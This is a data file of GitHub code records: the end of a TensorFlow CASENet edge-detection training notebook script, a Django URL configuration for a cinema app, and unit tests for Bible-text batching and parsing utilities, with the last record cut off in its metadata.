image,label\n#\n#visualize.plot_images(images=sample_image, labels=sample_mask, predictions=None, batch_size=3)\n\n\n# # Model\n\n# In[7]:\n\n\nif weighted_multi_label_sigmoid_edge_loss:\n    loss = lambda y_true, y_pred : losses.weighted_multi_label_sigmoid_loss(y_true,y_pred,beta_lower=beta_lower,beta_upper=beta_upper, class_weighted=class_weighted)\nelif focal_loss:\n    loss = lambda y_true, y_pred : losses.focal_loss_edges(y_true, y_pred, gamma=gamma, alpha=alpha, weighted_beta=weighted_beta,beta_lower=beta_lower,beta_upper=beta_upper, class_weighted=class_weighted)\nelse:\n    raise ValueError(\"either FocalLoss or WeightedMultiLabelSigmoidLoss must be True\")\n    \n\n\n# In[8]:\n\n\nif TRAIN_MODEL:\n    backbone, output_names = backbones.get_backbone(name=BACKBONE,weights=BACKBONE_WEIGHTS,\n                                              height=IMG_SIZE_HEIGHT,width=IMG_SIZE_WIDTH,\n                                              alpha=ALPHA, output_layer = BACKBONE_OUTPUT,\n                                                            trainable_idx = TRAINABLE_IDX)\n\n    upsample_side_1 = tf.keras.layers.Conv2D(1, kernel_size=1, strides=(1, 1), padding='same')(backbone.output[0])\n    upsample_side_2 = features.side_feature_casenet(backbone.output[1],channels=1,kernel_size_transpose=4,stride_transpose=2)\n    upsample_side_3 = features.side_feature_casenet(backbone.output[2],channels=1,kernel_size_transpose=8,stride_transpose=4)\n    #upsample_side_5 = tf.image.resize(backbone.output[3],(int(IMG_SIZE_HEIGHT/16),int(IMG_SIZE_WIDTH/16)))\n    upsample_side_5 = features.side_feature_casenet(backbone.output[3],channels=NUM_CLASSES,kernel_size_transpose=16,stride_transpose=8,name='side5')\n\n    side_outputs = [upsample_side_1,upsample_side_2,upsample_side_3,upsample_side_5]\n    concat = features.shared_concatenation(side_outputs,NUM_CLASSES)\n\n    output = features.fused_classification(concat,NUM_CLASSES,name=\"output\")\n\n    model = tf.keras.Model(inputs = backbone.input, outputs = [output,upsample_side_5])\n\n    # tf.keras.utils.plot_model(model,show_shapes = True,to_file = 'h.png')\n\n\n# # Compile and Train Model\n\n# In[9]:\n\n\nif TENSORBOARD:\n    get_ipython().run_line_magic('load_ext', 'tensorboard')\n    get_ipython().run_line_magic('tensorboard', '--logdir /home/david/SemesterProject/Models/CASENet/logs')\n\n\n# In[10]:\n\n\nif TRAIN_MODEL:\n    # learning rate schedule\n    base_learning_rate = 0.0005\n    end_learning_rate = 0.0001\n    decay_step = np.ceil(img_count_train / BATCH_SIZE)*EPOCHS\n    lr_schedule = tf.keras.optimizers.schedules.PolynomialDecay(base_learning_rate,decay_steps = decay_step,end_learning_rate = end_learning_rate, power = 0.9)\n\n    frequency = int(np.ceil(img_count_train / BATCH_SIZE)*MODEL_SAVE_EPOCH_FREQ)+1\n\n    logdir = os.path.join(paths['TBLOGS'], datetime.now().strftime(\"%Y%m%d-%H%M%S\"))\n    callbacks = [tf.keras.callbacks.ModelCheckpoint(filepath = paths[\"CKPT\"]+ \"/ckpt-loss={val_loss:.2f}-epoch={epoch:.2f}-f1={val_f1:.4f}\",\n                                                    save_weights_only=False,save_best_only=False,monitor=\"val_f1\",verbose=1,save_freq= 'epoch', period=5),\n                tf.keras.callbacks.TensorBoard(log_dir=logdir,histogram_freq=1)]\n\n    # compile model\n    model.compile(optimizer=tf.keras.optimizers.Adam(learning_rate=lr_schedule),\n                  loss=loss,\n                  metrics={'output': [metrics.BinaryAccuracyEdges(threshold_prediction=0),\n                                      metrics.F1Edges(threshold_prediction=0, threshold_edge_width=0)]})\n\n    history = model.fit(train_ds, epochs=EPOCHS, validation_data=test_real_ds, callbacks=callbacks)\n\n\n# In[16]:\n\n\nmodel_ckpt = os.listdir(paths['CKPT'])\n\nf1_max = 0\nfor ckpt_name in model_ckpt:\n    if float(ckpt_name[-4:]) > f1_max:\n        f1_max = float(ckpt_name[-4:])\n        model_path = paths['CKPT']+\"/\"+ckpt_name\n        \n        print(model_path)\n\ncustom_objects = {\"BinaryAccuracyEdges\": metrics.BinaryAccuracyEdges,\n                  \"F1Edges\": metrics.F1Edges,\n                  \"\":loss}\n\nmodel = tf.keras.models.load_model(model_path, custom_objects=custom_objects)\n\n\n# # Plot Results\n\n# In[17]:\n\n\nif TRAIN_MODEL:\n    plot_losses = [\"loss\", \"output_loss\"]\n    plot_metrics = [\"output_accuracy_edges\", \"f1\", \"recall\", \"precision\"]\n\n    path = os.path.join(paths[\"FIGURES\"],\"training.svg\")\n\n    visualize.plot_training_results(res=history.history, losses=plot_losses, metrics=plot_metrics, save=SAVE, path=path)\n\n\n# In[18]:\n\n\n### Maximum F1 Score:\nif not TRAIN_MODEL:\n    step_width = 0.05\n    threshold_range = [0.05,0.95]\n    threshold_array = np.arange(threshold_range[0],threshold_range[1]+step_width,step_width)\n    threshold_array = np.array([0.025, 0.1, 0.2,0.3,0.4,0.45,0.5,0.55,0.6,0.7,0.8, 0.9, 0.975])\n\n    path_metrics_evaluation_plot = os.path.join(paths[\"FIGURES\"],\"threshold_metrics_evaluation_test_ds.svg\")\n    threshold_f1_max = visualize.plot_threshold_metrics_evaluation_class(model=model, \n                                                                         ds=test_ds,\n                                                                         num_classes=NUM_CLASSES,\n                                                                         threshold_array=threshold_array, \n                                                                         threshold_edge_width=0, save=SAVE, \n                                                                         path=path_metrics_evaluation_plot)\n\n\n# In[19]:\n\n\nif not TRAIN_MODEL:\n    i = 0\n    for img, label in test_ds.take(4):\n        img, label = img, label\n\n        threshold = 0.5\n\n        predictions = model.predict(img)\n        predictions = tools.predict_class_postprocessing(predictions[0], threshold=threshold)\n\n        path = os.path.join(paths[\"FIGURES\"],\"img_test_threshold_{}_{}\".format(threshold,i))\n        visualize.plot_images(images=img, labels=label, predictions=predictions, save=SAVE, path=path, batch_size=3)\n\n        threshold = threshold_f1_max\n        path = os.path.join(paths[\"FIGURES\"],\"img_test_ods_{}\".format(i))\n        visualize.plot_images(images=img, labels=label, predictions=predictions, save=SAVE, path=path, batch_size=3)\n\n        i += 1\n\n\n# # Fine Tuning\n\n# In[ ]:\n\n\nif FINE_TUNING and TRAIN_MODEL:\n\n    # Fine-tune from this layer onwards\n    fine_tune_output = output_names[1-1]\n\n    model.trainable = True\n\n    # Freeze all the layers before the `fine_tune_at` layer: \n    for submodel in model.layers:\n        if submodel.name == \"base_model\":\n            for layer in submodel.layers:\n                layer.trainable = False\n                if layer.name == fine_tune_output:\n                    break\n    \n    \n    total_epochs =  EPOCHS + FINE_TUNE_EPOCHS\n\n    base_learning_rate = 0.00001\n    end_learning_rate =  0.00001\n    decay_step = np.floor(img_count_train / BATCH_SIZE)*FINE_TUNE_EPOCHS\n    lr_schedule = tf.keras.optimizers.schedules.PolynomialDecay(\n        base_learning_rate,decay_steps = decay_step,end_learning_rate = end_learning_rate, power = 0.9)\n\n    model.compile(optimizer=tf.keras.optimizers.Adam(learning_rate=lr_schedule),\n                  loss=loss,\n                  metrics={'output': [metrics.BinaryAccuracyEdges(threshold_prediction=0),\n                                      metrics.F1Edges(threshold_prediction=0, threshold_edge_width=0)]})\n    \n\n    history_fine = model.fit(train_ds, epochs=total_epochs, \n                               initial_epoch=history.epoch[-1]+1,validation_data=train_ds.take(1), \n                               callbacks=callbacks)\n    \n    plot_losses = [\"loss\", \"output_loss\"]\n    plot_metrics = [\"output_accuracy_edges\", \"f1\", \"recall\", \"precision\"]\n    \n    path = os.path.join(paths[\"FIGURES\"],\"fine_tuning_training.svg\")\n    \n    visualize.plot_training_results(res=history.history, res_fine = history_fine.history, \n                                losses=plot_losses, metrics=plot_metrics, save=SAVE, path=path, epochs=EPOCHS)\n    \n    path_metrics_evaluation_plot = os.path.join(paths[\"FIGURES\"],\"threshold_metrics_evaluation__fine_tune_test_ds.svg\")\n    visualize.plot_threshold_metrics_evaluation(model=model, ds=test_ds, threshold_array=threshold_array, \n                                        threshold_edge_width=0, save=SAVE, path=path_metrics_evaluation_plot, \n                                        accuracy_y_lim_min = 0.9)\n        \n    for img, label in test_ds.take(1):\n        img, label = img, label\n\n    predictions = model.predict(img)    \n    predictions = tools.predict_class_postprocessing(predictions[0], threshold = 0.5)\n\n    path = os.path.join(paths[\"FIGURES\"],\"fine_tuning_images_0,5\")\n    visualize.plot_images(images=img, labels=label, predictions=predictions, save=SAVE, path=path, batch_size=3)\n\n\n# # Evaluate on Test DS of Real Images\n\n# In[ ]:\n\n\nDATA_REAL = 'RealRed'\nTRAIN_REAL = 'Train'\nTEST_REAL = 'Test'\nTEST_HARD_REAL = 'Test Hard'\nIMG_ONLY_REAL = 'Img Only'\nBS_REAL = 8\n\npaths_real, files_real = data_processing.path_definitions(HALF, MODEL, DATA_REAL, TRAIN_REAL, TEST_REAL, TEST_HARD_REAL, IMG_ONLY_REAL, make_dirs=False)\n\ntest_real_ds, img_count_test_real = data_processing.load_dataset(paths_real,\"TEST\", IMG_SIZE_HEIGHT, IMG_SIZE_WIDTH, HALF, MAX_IMG_TEST)\ntest_real_ds = data_processing.dataset_processing(test_real_ds, cache=False, shuffle=False, batch_size=BS_REAL, prefetch=False, img_count = img_count_test_real)\n\n\n# ## Metrics Evaluation\n\n# In[ ]:\n\n\nif not TRAIN_MODEL:\n    step_width = 0.025\n    threshold_range = [0.025, 0.975]\n    threshold_array = np.arange(threshold_range[0],threshold_range[1]+step_width,step_width)\n\n    path_metrics_evaluation_plot = os.path.join(paths[\"FIGURES\"],\"threshold_metrics_evaluation_test_real_edge_threshold_{:.1f}.svg\".format(0))\n    threshold_f1_max = visualize.plot_threshold_metrics_evaluation_class(model=model, ds=test_real_ds, \n                                                                   num_classes = NUM_CLASSES,\n                                                                   threshold_array=threshold_array, \n                                                                   threshold_edge_width=0, save=SAVE, \n                                                                   path=path_metrics_evaluation_plot)\n\n\n# ## Visual Results\n\n# In[ ]:\n\n\nif not TRAIN_MODEL:\n    for img, label in test_real_ds.take(1):\n        img, label = img, label\n\n\n    threshold = 0.5\n\n    predictions = model.predict(img)    \n    predictions = tools.predict_class_postprocessing(predictions[0], threshold=threshold)\n\n    path = os.path.join(paths[\"FIGURES\"],\"images_test_real_threshold_{:.2f}\".format(threshold))\n    visualize.plot_images(images=img, labels=label, predictions=predictions, save=SAVE, path=path, batch_size=8)\n\n    threshold = threshold_f1_max\n\n    predictions = model.predict(img)    \n    predictions = tools.predict_class_postprocessing(predictions[0], threshold=threshold)\n\n    path = os.path.join(paths[\"FIGURES\"],\"images_test_real_threshold_ods\")\n    visualize.plot_images(images=img, labels=label, predictions=predictions, save=SAVE, path=path, batch_size=8)\n\n\n# # Save Model\n\n# In[20]:\n\n\nmodel.compile(optimizer=tf.keras.optimizers.Adam(learning_rate=lr_schedule),\n                  loss=loss,\n                  metrics={'output': [metrics.BinaryAccuracyEdges(threshold_prediction=0),\n                                      metrics.F1Edges(threshold_prediction=0, threshold_edge_width=0)]})\n\nif SAVE:\n    model.save(paths[\"MODEL\"])\n    \n    custom_objects = {\"BinaryAccuracyEdges\": metrics.BinaryAccuracyEdges,\n                      \"F1Edges\": metrics.F1Edges,\n                      \"\":loss}\n    \n    model = tf.keras.models.load_model(paths[\"MODEL\"], custom_objects=custom_objects)\n\n\n# # Plot Other, Additional Data.\n\n# # Addtional Elements to Consider in other Projects\n# \n# * Data augmentation for small datasets\n\n# In[ ]:\n\n\n\n\n", "repo_name": "muedavid/SGED", "sub_path": "python scripts/CASENet.py", "file_name": "CASENet.py", "file_ext": "py", "file_size_in_byte": 18803, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ", "line_number": 47, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.random.set_seed", "line_number": 174, "usage_type": "call"}, {"api_name": "tensorflow.random", "line_number": 174, "usage_type": "attribute"}, {"api_name": "DataProcessing.data_processing.path_definitions", "line_number": 176, "usage_type": "call"}, {"api_name": "DataProcessing.data_processing", "line_number": 176, "usage_type": "name"}, {"api_name": "DataProcessing.data_processing.clean_model_directories", "line_number": 178, "usage_type": "call"}, {"api_name": "DataProcessing.data_processing", "line_number": 178, "usage_type": "name"}, {"api_name": "tensorflow.random.Generator.from_seed", "line_number": 182, "usage_type": "call"}, {"api_name": "tensorflow.random", "line_number": 182, "usage_type": "attribute"}, {"api_name": "DataProcessing.data_processing.load_dataset", "line_number": 185, "usage_type": "call"}, {"api_name": "DataProcessing.data_processing", "line_number": 185, "usage_type": "name"}, {"api_name": "DataProcessing.data_processing.dataset_processing", "line_number": 187, "usage_type": "call"}, {"api_name": "DataProcessing.data_processing", "line_number": 187, "usage_type": "name"}, {"api_name": "DataProcessing.data_processing.load_dataset", "line_number": 190, "usage_type": "call"}, {"api_name": "DataProcessing.data_processing", "line_number": 190, "usage_type": "name"}, {"api_name": "DataProcessing.data_processing.dataset_processing", "line_number": 192, "usage_type": "call"}, {"api_name": "DataProcessing.data_processing", "line_number": 192, "usage_type": "name"}, {"api_name": "DataProcessing.data_processing.path_definitions", "line_number": 206, "usage_type": "call"}, {"api_name": "DataProcessing.data_processing", "line_number": 206, "usage_type": "name"}, {"api_name": "DataProcessing.data_processing.load_dataset", "line_number": 208, "usage_type": "call"}, {"api_name": "DataProcessing.data_processing", "line_number": 208, "usage_type": "name"}, {"api_name": "DataProcessing.data_processing.dataset_processing", "line_number": 209, "usage_type": "call"}, {"api_name": "DataProcessing.data_processing", "line_number": 209, "usage_type": "name"}, {"api_name": "Nets.losses.weighted_multi_label_sigmoid_loss", "line_number": 233, "usage_type": "call"}, {"api_name": "Nets.losses", "line_number": 233, "usage_type": "name"}, {"api_name": "Nets.losses.focal_loss_edges", "line_number": 235, "usage_type": "call"}, {"api_name": "Nets.losses", "line_number": 235, "usage_type": "name"}, {"api_name": "Nets.backbones.get_backbone", "line_number": 245, "usage_type": "call"}, {"api_name": "Nets.backbones", "line_number": 245, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 250, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 250, "usage_type": "attribute"}, {"api_name": "Nets.features.side_feature_casenet", "line_number": 251, "usage_type": "call"}, {"api_name": "Nets.features", "line_number": 251, "usage_type": "name"}, {"api_name": "Nets.features.side_feature_casenet", "line_number": 252, "usage_type": "call"}, {"api_name": "Nets.features", "line_number": 252, "usage_type": "name"}, {"api_name": "Nets.features.side_feature_casenet", "line_number": 254, "usage_type": "call"}, {"api_name": "Nets.features", "line_number": 254, "usage_type": "name"}, {"api_name": "Nets.features.shared_concatenation", "line_number": 257, "usage_type": "call"}, {"api_name": "Nets.features", "line_number": 257, "usage_type": "name"}, {"api_name": "Nets.features.fused_classification", "line_number": 259, "usage_type": "call"}, {"api_name": "Nets.features", "line_number": 259, "usage_type": "name"}, {"api_name": "tensorflow.keras.Model", "line_number": 261, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 261, "usage_type": "attribute"}, {"api_name": "numpy.ceil", "line_number": 283, "usage_type": "call"}, {"api_name": "tensorflow.keras.optimizers.schedules.PolynomialDecay", "line_number": 284, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 284, "usage_type": "attribute"}, {"api_name": "numpy.ceil", "line_number": 286, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 288, "usage_type": "call"}, {"api_name": "os.path", "line_number": 288, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 288, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 288, "usage_type": "name"}, {"api_name": "tensorflow.keras.callbacks.ModelCheckpoint", "line_number": 289, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 289, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.callbacks.TensorBoard", "line_number": 291, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 291, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 294, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 294, "usage_type": "attribute"}, {"api_name": "Nets.metrics.BinaryAccuracyEdges", "line_number": 296, "usage_type": "call"}, {"api_name": "Nets.metrics", "line_number": 296, "usage_type": "name"}, {"api_name": "Nets.metrics.F1Edges", "line_number": 297, "usage_type": "call"}, {"api_name": "Nets.metrics", "line_number": 297, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 305, "usage_type": "call"}, {"api_name": "Nets.metrics.BinaryAccuracyEdges", "line_number": 315, "usage_type": "attribute"}, {"api_name": "Nets.metrics", "line_number": 315, "usage_type": "name"}, {"api_name": "Nets.metrics.F1Edges", "line_number": 316, "usage_type": "attribute"}, {"api_name": "Nets.metrics", "line_number": 316, "usage_type": "name"}, {"api_name": "tensorflow.keras.models.load_model", "line_number": 319, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 319, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 331, "usage_type": "call"}, {"api_name": "os.path", "line_number": 331, "usage_type": "attribute"}, {"api_name": "Nets.visualize.plot_training_results", "line_number": 333, "usage_type": "call"}, {"api_name": "Nets.visualize", "line_number": 333, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 343, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 344, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 346, "usage_type": "call"}, {"api_name": "os.path", "line_number": 346, "usage_type": "attribute"}, {"api_name": "Nets.visualize.plot_threshold_metrics_evaluation_class", "line_number": 347, "usage_type": "call"}, {"api_name": "Nets.visualize", "line_number": 347, "usage_type": "name"}, {"api_name": "Nets.tools.predict_class_postprocessing", "line_number": 366, "usage_type": "call"}, {"api_name": "Nets.tools", "line_number": 366, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 368, "usage_type": "call"}, {"api_name": "os.path", "line_number": 368, "usage_type": "attribute"}, {"api_name": "Nets.visualize.plot_images", "line_number": 369, "usage_type": "call"}, {"api_name": "Nets.visualize", "line_number": 369, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 372, "usage_type": "call"}, {"api_name": "os.path", "line_number": 372, "usage_type": "attribute"}, {"api_name": "Nets.visualize.plot_images", "line_number": 373, "usage_type": "call"}, {"api_name": "Nets.visualize", "line_number": 373, "usage_type": "name"}, {"api_name": "numpy.floor", "line_number": 403, "usage_type": "call"}, {"api_name": "tensorflow.keras.optimizers.schedules.PolynomialDecay", "line_number": 404, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 404, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 407, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 407, "usage_type": "attribute"}, {"api_name": "Nets.metrics.BinaryAccuracyEdges", "line_number": 409, "usage_type": "call"}, {"api_name": "Nets.metrics", "line_number": 409, "usage_type": "name"}, {"api_name": "Nets.metrics.F1Edges", "line_number": 410, "usage_type": "call"}, {"api_name": "Nets.metrics", "line_number": 410, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 420, "usage_type": "call"}, {"api_name": "os.path", "line_number": 420, "usage_type": "attribute"}, {"api_name": "Nets.visualize.plot_training_results", "line_number": 422, "usage_type": "call"}, {"api_name": "Nets.visualize", "line_number": 422, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 425, "usage_type": "call"}, {"api_name": "os.path", "line_number": 425, "usage_type": "attribute"}, {"api_name": "Nets.visualize.plot_threshold_metrics_evaluation", "line_number": 426, "usage_type": "call"}, {"api_name": "Nets.visualize", "line_number": 426, "usage_type": "name"}, {"api_name": "Nets.tools.predict_class_postprocessing", "line_number": 434, "usage_type": "call"}, {"api_name": "Nets.tools", "line_number": 434, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 436, "usage_type": "call"}, {"api_name": "os.path", "line_number": 436, "usage_type": "attribute"}, {"api_name": "Nets.visualize.plot_images", "line_number": 437, "usage_type": "call"}, {"api_name": "Nets.visualize", "line_number": 437, "usage_type": "name"}, {"api_name": "DataProcessing.data_processing.path_definitions", "line_number": 452, "usage_type": "call"}, {"api_name": "DataProcessing.data_processing", "line_number": 452, "usage_type": "name"}, {"api_name": "DataProcessing.data_processing.load_dataset", "line_number": 454, "usage_type": "call"}, {"api_name": "DataProcessing.data_processing", "line_number": 454, "usage_type": "name"}, {"api_name": "DataProcessing.data_processing.dataset_processing", "line_number": 455, "usage_type": "call"}, {"api_name": "DataProcessing.data_processing", "line_number": 455, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 466, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 468, "usage_type": "call"}, {"api_name": "os.path", "line_number": 468, "usage_type": "attribute"}, {"api_name": "Nets.visualize.plot_threshold_metrics_evaluation_class", "line_number": 469, "usage_type": "call"}, {"api_name": "Nets.visualize", "line_number": 469, "usage_type": "name"}, {"api_name": "Nets.tools.predict_class_postprocessing", "line_number": 489, "usage_type": "call"}, {"api_name": "Nets.tools", "line_number": 489, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 491, "usage_type": "call"}, {"api_name": "os.path", "line_number": 491, "usage_type": "attribute"}, {"api_name": "Nets.visualize.plot_images", "line_number": 492, "usage_type": "call"}, {"api_name": "Nets.visualize", "line_number": 492, "usage_type": "name"}, {"api_name": "Nets.tools.predict_class_postprocessing", "line_number": 497, "usage_type": "call"}, {"api_name": "Nets.tools", "line_number": 497, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 499, "usage_type": "call"}, {"api_name": "os.path", "line_number": 499, "usage_type": "attribute"}, {"api_name": "Nets.visualize.plot_images", "line_number": 500, "usage_type": "call"}, {"api_name": "Nets.visualize", "line_number": 500, "usage_type": "name"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 508, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 508, "usage_type": "attribute"}, {"api_name": "Nets.metrics.BinaryAccuracyEdges", "line_number": 510, "usage_type": "call"}, {"api_name": "Nets.metrics", "line_number": 510, "usage_type": "name"}, {"api_name": "Nets.metrics.F1Edges", "line_number": 511, "usage_type": "call"}, {"api_name": "Nets.metrics", "line_number": 511, "usage_type": "name"}, {"api_name": "Nets.metrics.BinaryAccuracyEdges", "line_number": 516, "usage_type": "attribute"}, {"api_name": "Nets.metrics", "line_number": 516, "usage_type": "name"}, {"api_name": "Nets.metrics.F1Edges", "line_number": 517, "usage_type": "attribute"}, {"api_name": "Nets.metrics", "line_number": 517, "usage_type": "name"}, {"api_name": "tensorflow.keras.models.load_model", "line_number": 520, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 520, "usage_type": "attribute"}]}
{"seq_id": "33041578464", "text": "from django.contrib.auth.views import LoginView\nfrom django.urls import path\n\nfrom cinema.views import (\n    IndexView,\n    MovieDetailView,\n    SessionDetailView,\n    CreateUserView,\n    TicketListView,\n    LogoutView,\n)\n\nurlpatterns = [\n    path(\"\", IndexView.as_view(), name=\"index\"),\n    path(\"accounts/login/\", LoginView.as_view(), name=\"login\"),\n    path(\"accounts/logout/\", LogoutView.as_view(), name=\"logout\"),\n    path(\"accounts/register/\", CreateUserView.as_view(), name=\"register\"),\n    path(\"movie//\", MovieDetailView.as_view(), name=\"movie-detail\"),\n    path(\n        \"movie/session//\",\n        SessionDetailView.as_view(),\n        name=\"movie-session-detail\",\n    ),\n    path(\"orders/\", TicketListView.as_view(), name=\"ticket-listview\"),\n]\n\napp_name = \"cinema\"\n", "repo_name": "oleksiikolii/pet-movie-theatre", "sub_path": "cinema/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 791, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "cinema.views.IndexView.as_view", "line_number": 14, "usage_type": "call"}, {"api_name": "cinema.views.IndexView", "line_number": 14, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.LoginView.as_view", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.LoginView", "line_number": 15, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "cinema.views.LogoutView.as_view", "line_number": 16, "usage_type": "call"}, {"api_name": "cinema.views.LogoutView", "line_number": 16, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "cinema.views.CreateUserView.as_view", "line_number": 17, "usage_type": "call"}, {"api_name": "cinema.views.CreateUserView", "line_number": 17, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "cinema.views.MovieDetailView.as_view", "line_number": 18, "usage_type": "call"}, {"api_name": "cinema.views.MovieDetailView", "line_number": 18, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "cinema.views.SessionDetailView.as_view", "line_number": 21, "usage_type": "call"}, {"api_name": "cinema.views.SessionDetailView", "line_number": 21, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "cinema.views.TicketListView.as_view", "line_number": 24, "usage_type": "call"}, {"api_name": "cinema.views.TicketListView", "line_number": 24, "usage_type": "name"}]}
{"seq_id": "9423636712", "text": "import unittest\nimport data\n\nclass TestData(unittest.TestCase):\n    def test_batch(self):\n        sequences = [el.split() for el in \\\n                     ['I love it', 'My name is Earl', 'Whose line is it anyway', 'As you like it', 'Everybody']]\n        words = list(set([el for lis in sequences for el in lis]))\n        word_index = {wd: ix for ix, wd in enumerate(words)}\n        word_index[data.PAD_TOKEN] = 170\n        word_index[data.START_OF_VERSE_TOKEN] = 171\n        word_index[data.END_OF_VERSE_TOKEN] = 172\n        dataset, original_sequence_lengths = data.batch(sequences, 2, word_index)\n        self.assertEqual(3, len(dataset))\n        self.assertTrue(all([len(el) <= 2 for el in dataset]))\n        self.assertTrue(all([len(seq) == 6 for seq in dataset[0]]))\n        self.assertTrue(all([len(seq) == 7 for seq in dataset[1]]))\n        self.assertTrue(all([all([seq[0] == 171 for seq in b]) for b in dataset]))\n        self.assertTrue(all([all([seq[-1] in (170, 172) for seq in b]) for b in dataset]))\n        self.assertEqual(172, dataset[0][1][-2])\n        self.assertEqual(6, original_sequence_lengths[1][1])\n\n    def test_batch_sorted(self):\n        sequences = [el.split() for el in \\\n                     ['I love it', 'My name is Earl', 'Whose line is it anyway', 'As you like it', 'Everybody']]\n        words = list(set([el for lis in sequences for el in lis]))\n        word_index = {wd: ix for ix, wd in enumerate(words)}\n        index_word = {ix: wd for wd, ix in word_index.items()}\n        word_index[data.PAD_TOKEN] = 170\n        word_index[data.START_OF_VERSE_TOKEN] = 171\n        word_index[data.END_OF_VERSE_TOKEN] = 172\n        dataset, _ = data.batch(sequences, 2, word_index)\n        self.assertEqual('My', index_word[dataset[0][0][1]])\n\n    def test_pad_batch(self):\n        sequences = [el.split() for el in ['I love it', 'My name is Earl']]\n        padded = data.pad_batch(sequences)\n        self.assertEqual(2, len(padded))\n        self.assertTrue(all([len(el) == 4 for el in padded]))\n        self.assertEqual(data.PAD_TOKEN, padded[0][-1])\n\n\n    def test_join_texts(self):\n        texts = ['something', 'else', 'is', 'here']\n        self.assertEqual(\n            '\\n\\nsomething else is here EOS',\n            data.join_texts(texts, prompt='\\n\\n', separator=' ', eot_token='EOS')\n        )\n\n    def test_join_by_hierarchy(self):\n        comments = \"\"\"# language_name:        English\n# closest_ISO_639-3:    eng\n# ISO_15924:            Latn\n# year_short:           1997\n# year_long:            \n# vernacular_title:     \n# english_title:        World English Bible\n# URL:                  http://biblehub.com/web/matthew/1.htm\n# copyright_short:      Public Domain 1997\n# copyright_long:       \n# notes:                \n\"\"\"\n        comment_lines = comments.split('\\n')\n        lines = comment_lines + ['40001001\\tFirst verse', '40001002\\tSecond verse', '40002001\\tNext chapter', '41001001\\tAnother book',\n                 '67001001\\tAnother testament']\n        bible = data.parse_pbc_bible_lines(lines, True, 'eng')\n        _, by_testament, by_book, by_chapter, _ = bible.join_by_toc()\n        self.assertTrue('old' not in by_testament)\n        self.assertEqual('First verse_Second verse_Next chapter_Another book'.split('_'),\n                         by_testament['new'])\n        self.assertEqual(['Another testament'],\n                         by_testament['apocryphal'])\n        self.assertEqual('First verse_Second verse_Next chapter'.split('_'), by_book[40])\n        self.assertEqual(['Another book'], by_book[41])\n        self.assertEqual('Another testament'.split('_'), by_book[67])\n        self.assertEqual('First verse_Second verse'.split('_'), by_chapter[40001])\n        self.assertEqual('Next chapter'.split('_'), by_chapter[40002])\n        self.assertEqual('Another book'.split('_'), by_chapter[41001])\n        self.assertEqual('Another testament'.split('_'), by_chapter[67001])\n\n    def test_to_dictionaries_repeated_commented_out_lines(self):\n        comment_lines = []\n        content_lines = [(1, \"some lines\", False),\n                         (2, \"some other line\", False),\n                         (3, \"this line is commented out\", True),\n                         (3, \"again but with the same ID\", True),\n                         (4, \"some other line\", False)]\n        _, _, hidden_content = data.PbcBible.to_dictionaries(comment_lines, content_lines)\n        self.assertEqual({3: 'again but with the same ID'}, hidden_content)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "repo_name": "PabloMosUU/BibleWordPasting", "sub_path": "unit_tests/test_data.py", "file_name": "test_data.py", "file_ext": "py", "file_size_in_byte": 4530, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "unittest.TestCase", "line_number": 4, "usage_type": "attribute"}, {"api_name": "data.PAD_TOKEN", "line_number": 10, "usage_type": "attribute"}, {"api_name": "data.START_OF_VERSE_TOKEN", "line_number": 11, "usage_type": "attribute"}, {"api_name": 